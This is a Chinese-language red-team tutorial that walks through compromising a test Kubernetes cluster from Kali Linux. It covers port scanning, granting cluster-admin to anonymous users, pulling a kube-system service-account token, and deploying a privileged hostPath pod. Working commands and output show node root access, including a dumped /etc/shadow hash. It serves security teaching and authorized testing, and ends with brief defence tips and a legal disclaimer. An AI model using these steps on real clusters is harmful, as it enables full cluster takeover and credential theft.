一、目标读者与前提条件

  1. 面向对象

    • 网络安全研究人员、红队成员、DevSecOps工程师

    • 需具备Kali Linux基础操作和Kubernetes架构知识

  2. 环境要求

    • Kali Linux 2023+

    • 测试用Kubernetes集群(建议使用Minikube或Kind搭建)

    • kubectl、nmap、metasploit等工具已安装


二、K8s攻击面分析
  1. 常见脆弱点

脆弱点类型 风险等级 典型场景 利用条件
API Server 匿名访问 高危 未启用 RBAC,允许system:anonymous操作 集群配置错误(手动绑定cluster-admin
过度授权 ServiceAccount 高危 SA 绑定cluster-admin角色 管理员误配置角色绑定
特权模式 Pod+HostPath 高危 Pod 开启privileged: true并挂载节点/ 具备创建 Pod 权限(SA 有pods/create权限)
ETCD 未加密 / 弱认证 高危 ETCD 2379 端口暴露且无认证 ETCD 2379 端口暴露且无认证 能访问 ETCD 端口,获取集群所有数据

  1. 信息收集命令

    nmap -sV -p 2379,6443,8080 <cluster-ip>
    ┌──(root㉿kali)-[~]
    └─# nmap -sV -p 2379,6443,8080 192.168.179.170
    Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-21 01:27 EDT
    Nmap scan report for 192.168.179.170
    Host is up (0.00050s latency).
    ​
    PORT     STATE  SERVICE          VERSION
    2379/tcp open   ssl/etcd-client?
    6443/tcp open   ssl/http         Golang net/http server
    8080/tcp closed http-proxy
    2379/tcp open ssl/etcd-client: 一个 etcd 客户端端口开放
    ​
    6443/tcp open ssl/http: 一个 Kubernetes API Server 运行中
    ​
    8080/tcp closed: HTTP代理端口关闭(正常)

三、实战攻击步骤
  1. 假设对集群进行允许匿名访问

    kubectl create clusterrolebinding anno --clusterrole=cluster-admin --user=system:anonymous
    注:开启匿名访问后,虽可直接用匿名身份操作集群,但为后续‘持久化控制’(避免匿名配置被删除),需进一步获取kube-system命名空间的 SA Token 作为稳定凭证
    apiVersion: v1
    kind: Secret
    metadata:
     name: kube-system-sa
     namespace: kube-system
     annotations:
       kubernetes.io/service-account.name: default
    type: kubernetes.io/service-account-token
    kubectl apply -f secret-kube-system.yaml 
    secret/kube-system-sa created
  2. kali访问拿到token

    curl -k https://192.168.179.170:6443/api/v1/namespaces/kube-system/secrets/kube-system-sa | jq -r .data.token
  3. 解码token

    echo “******”  | base64 -d > decoded_token.txt
    cat decoded_token.txt
  4. 设置API Server地址(在kali进行)

    APISERVER="https://192.168.179.170:6443"
  5. 清楚现有集群配置

    kubectl config delete-context attack-context 2>/dev/null || true
    kubectl config delete-cluster target-cluster 2>/dev/null || true
    kubectl config delete-user kube-system-sa 2>/dev/null || true
  6. 创建新的集群配置

kubectl config set-cluster target-cluster --server=$APISERVER --insecure-skip-tls-verify
  1. 创建用户配置(使用解码后的token)

  TOKEN=$(cat decoded_token.txt)
kubectl config set-credentials kube-system-sa --token=$TOKEN
  1. 创建上下文并这是为当前上下文

  kubectl config set-context attack-context --cluster=target-cluster --user=kube-system-sa
kubectl config use-context attack-context
  1. 验证配置

  kubectl config view 
deleted context attack-context from /home/kali/.kube/config
deleted cluster target-cluster from /home/kali/.kube/config
Cluster "target-cluster" set.
User "kube-system-sa" set.
Context "attack-context" created.
Switched to context "attack-context".
apiVersion: v1
clusters:
- cluster:
    insecure-skip-tls-verify: true
    server: https://192.168.179.170:6443
  name: target-cluster
contexts:
- context:
    cluster: target-cluster
    user: kube-system-sa
  name: attack-context
current-context: attack-context
kind: Config
preferences: {}
users:
- name: kube-system-sa
  user:
    token: REDACTED
- name: overprivileged-sa
  user:
    token: REDACTED
注:步骤 7-9 已配置全局kubectl上下文,但实战中为避免污染本地环境、方便携带凭证,需创建独立的test_token配置文件(仅在指定--kubeconfig=./test_token时生效
  1. 创建一个全新的、独立的 kubeconfig 配置文件

  ┌──(kali㉿kali)-[/tmp]
└─$ kubectl --kubeconfig=./test_token config set-cluster lucky_cluster --server=https://192.168.179.170:6443/  --insecure-skip-tls-verify
Cluster "lucky_cluster" set.
                                                                                                                                           
┌──(kali㉿kali)-[/tmp]
└─$ kubectl --kubeconfig=./test_token config set-context test_context --cluster=lucky_cluster --user=lucky
Context "test_context" created.
                                                                                                                                           
┌──(kali㉿kali)-[/tmp]
└─$ kubectl --kubeconfig=./test_token config use-context test_context
Switched to context "test_context".
  1. 在kali上创建恶意pod拿到root权限

apiVersion: v1
kind: Pod
metadata:
  name: kali-vuln-pod
spec:
  nodeName: czkmaster1
  containers:
  - name: root-container
    image: busybox:1.36
    imagePullPolicy: IfNotPresent
    command: ["sleep","3600"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: node-root-fs
      mountPath: /host
  volumes:
  - name: node-root-fs
    hostPath:
      path: /
      type: Directory
  1. 进入pod拿到root权限

  ┌──(kali㉿kali)-[/tmp]
└─$ # 在 Kali 机终端执行,进入 Pod 容器
kubectl --kubeconfig=./test_token exec -it kali-vuln-pod -n default -- sh
Please enter Username: 1
/ # 
/ # cd /host/
/host # cat etc/shadow
root:$6$ID2i.kP7eaXcNrTs$HagDr3cWwiCRoFyEnKgU3fgfFLfI1nxBoZAtydpK743e.qvAHjZ51M4Q31AZHbFyNyvwTZqEm3.HZxO680xr3/::0:99999:7:::
bin:*:19326:0:99999:7:::
daemon:*:19326:0:99999:7:::
adm:*:19326:0:99999:7:::
lp:*:19326:0:99999:7:::
sync:*:19326:0:99999:7:::
shutdown:*:19326:0:99999:7:::
halt:*:19326:0:99999:7:::
mail:*:19326:0:99999:7:::
operator:*:19326:0:99999:7:::
games:*:19326:0:99999:7:::
ftp:*:19326:0:99999:7:::
nobody:*:19326:0:99999:7:::
dbus:!!:20236::::::
systemd-coredump:!!:20236::::::
systemd-resolve:!!:20236::::::
tss:!!:20236::::::
polkitd:!!:20236::::::
libstoragemgmt:!!:20236::::::
sssd:!!:20236::::::
cockpit-ws:!!:20236::::::
cockpit-wsinstance:!!:20236::::::
chrony:!!:20236::::::
sshd:!!:20236::::::
##操控节点系统(等同于节点本地 root 操作)在 /host 目录下的所有操作,都会 实时同步到节点
chroot /host
[root@kali-vuln-pod /]# ls
bin  boot  data  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
[root@kali-vuln-pod /]# ls /root/
anaconda-ks.cfg      calico.tar.gz  k8s1_31_3     pod                      update-kubeadm-cert.sh
busybox-1.36.tar.gz  calico.yaml    kubeadm.yaml  secret-kube-system.yaml
[root@kali-vuln-pod /]# mkdir /root/haha
##可以看到宿主机下面有个haha目录
[root@czkmaster1 ~]# ls
anaconda-ks.cfg      calico.tar.gz  haha       kubeadm.yaml  secret-kube-system.yaml
busybox-1.36.tar.gz  calico.yaml    k8s1_31_3  pod           update-kubeadm-cert.sh

四、防御措施
  1. 加固建议

    • 启用RBAC和Network Policies

    • 定期更新kubelet和容器运行时

  2. 检测命令

    kubectl auth can-i --list
    kubectl get networkpolicy --all-namespaces

五、法律与伦理声明
  1. 重要提醒

    • 仅限授权测试环境使用

    • 未经授权的渗透测试属于违法行为


六、延伸学习
  1. 推荐工具

    • kube-hunter

    • kubesploit

    git clone https://github.com/aquasecurity/kube-hunter
  2. CTF实战

    • VulnHub "VulnKubernetes"

    • HackTheBox K8s靶机


七、总结

通过本教程可掌握K8s常见攻击手法,建议结合MITRE ATT&CK矩阵进行防御演练。安全是持续过程,需保持对CVE公告的关注。

更多推荐